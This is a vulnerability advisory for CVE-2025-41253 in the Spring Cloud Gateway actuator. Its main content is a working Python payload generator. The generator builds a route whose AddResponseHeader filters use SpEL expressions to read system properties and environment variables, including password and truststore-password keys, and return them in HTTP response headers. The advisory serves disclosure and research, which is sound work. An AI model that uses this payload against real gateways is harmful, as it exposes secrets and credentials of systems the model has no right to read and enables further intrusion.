CVE-2025-41253 Using Spring Expression Language To Expose Environment Variables and System Properties

Overview

Getting all environment variables and system properties via Spring Cloud Gateway actuator endpoint.

  • CVE: CVE-2025-41253
  • Author: psytester
  • Title: Using Spring Expression Language To Expose Environment Variables and System Properties
  • Vulnerability Type: CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement (‘Expression Language Injection’)
  • CVSSv3.1 Base Score: 7.5
  • CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Publishing Date: 10.11.2025
  • Updated: –

Background

I saw fresh CVE-2025-41243 and I started working on understanding the vulnerability and creating an exploit to learn how it all works.
I learned a lot in the process and, incidentally, found two issues myself.

Issue Description

CVE-2025-41243 fixed the possibility of property modification, but it was still possible to read out all system environments and properties.
If you know the environment and property names, you can get them all.
We can grab some well known systemProperties and systemEnvironments, depending on Windows or Linux.
Feel free to guess which systemproperties or specifically systemEnvironments with secrets will be set in a container environment.
Fix for new CVE-2025-41253 war issued.

My python payload generator for a reconnaissance route

import json

sys_keys = [
    "CONSOLE_LOG_CHARSET", "FILE_LOG_CHARSET", "LOGGED_APPLICATION_NAME", "LOG_CORRELATION_PATTERN", "LOG_LEVEL_PATTERN",
    "PID", "file.encoding", "file.separator", "jasypt.encryptor.password", "jasypt.encryptor.saltGeneratorClassname",
    "java.awt.headless", "java.class.path", "java.class.version", "java.home", "java.io.tmpdir", "java.library.path",
    "java.protocol.handler.pkgs", "java.runtime.name", "java.runtime.version", "java.specification.maintenance.version",
    "java.specification.name", "java.specification.vendor", "java.specification.version", "java.vendor", "java.vendor.url",
    "java.vendor.url.bug", "java.vendor.version", "java.version", "java.version.date", "java.vm.compressedOopsMode",
    "java.vm.info", "java.vm.name", "java.vm.specification.name", "java.vm.specification.vendor", "java.vm.specification.version",
    "java.vm.vendor", "java.vm.version", "javax.net.ssl.trustStore", "javax.net.ssl.trustStorePassword", "javax.net.ssl.trustStoreType",
    "jdk.debug", "line.separator", "native.encoding", "org.jboss.logging.provider", "os.arch", "os.name", "os.version",
    "path.separator", "spring.cloud.gateway.restrictive-property-accessor.enabled", "sun.arch.data.model",
    "sun.boot.library.path", "sun.cpu.endian", "sun.io.unicode.encoding", "sun.java.command", "sun.java.launcher",
    "sun.jnu.encoding", "sun.management.compiler", "sun.misc.URLClassPath.disableJarChecking", "user.country", "user.dir",
    "user.home", "user.language", "user.name", "user.timezone"
]

filters = []

for key in sys_keys:
    spel_expr_sysProps = f"#{{ @systemProperties['{key}'] ?: 'n.a.' }}"
    filters.append({
        "name": "AddResponseHeader",
        "args": {
            "name": f"X-SpEL-sysProps-{key}",
            "value": spel_expr_sysProps
        }
    })

env_keys = [
    "ALLUSERSPROFILE", "APPDATA", "CLIENTNAME", "COMPUTERNAME", "ComSpec", "CommonProgramFiles", "CommonProgramFiles(x86)",
    "CommonProgramW6432", "DBUS_SESSION_BUS_ADDRESS", "DEFLOGDIR", "DriverData", "FPS_BROWSER_APP_PROFILE_STRING",
    "FPS_BROWSER_USER_PROFILE_STRING", "HISTCONTROL", "HISTSIZE", "HOME", "HOMEDRIVE", "HOMEPATH", "HOSTNAME", "JAVA_HOME",
    "LANG", "LESSOPEN", "LOCALAPPDATA", "LOGNAME", "LOGONSERVER", "LS_COLORS", "MAIL", "NUMBER_OF_PROCESSORS", "OLDPWD", "OS",
    "OneDrive", "OneDriveConsumer", "PATH", "PATHEXT", "PROCESSOR_ARCHITECTURE", "PROCESSOR_IDENTIFIER", "PROCESSOR_LEVEL",
    "PROCESSOR_REVISION", "PSModulePath", "PUBLIC", "PWD", "Path", "ProgramData", "ProgramFiles", "ProgramFiles(x86)", "ProgramW6432",
    "SELINUX_LEVEL_REQUESTED", "SELINUX_ROLE_REQUESTED", "SELINUX_USE_CURRENT_RANGE", "SESSIONNAME", "SHELL", "SHLVL", "SSH_CLIENT",
    "SSH_CONNECTION", "SSH_TTY", "SystemDrive", "SystemRoot", "TEMP", "TERM", "TMP", "USER", "USERDOMAIN", "USERDOMAIN_ROAMINGPROFILE",
    "USERNAME", "USERPROFILE", "XDG_RUNTIME_DIR", "XDG_SESSION_ID", "_", "which_declare", "windir"
]

for key in env_keys:
    spel_expr_envProps = f"#{{ @systemEnvironment['{key}'] ?: 'n.a.' }}"
    filters.append({
        "name": "AddResponseHeader",
        "args": {
            "name": f"X-SpEL-envProps-{key}",
            "value": spel_expr_envProps
        }
    })

route_payload = {
    "id": "spel-recon-route",
    "uri": "http://example.org",
    "predicates": [
        {
            "name": "Path",
            "args": {
                "pattern": "/spel-recon"
            }
        }
    ],
    "filters": filters
}

print(json.dumps(route_payload, indent=2))

Credit

Ezzer aka ez_z3r for his previous work, which made me curious to dive deeper

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on November 10, 2025 | Last modified on November 10, 2025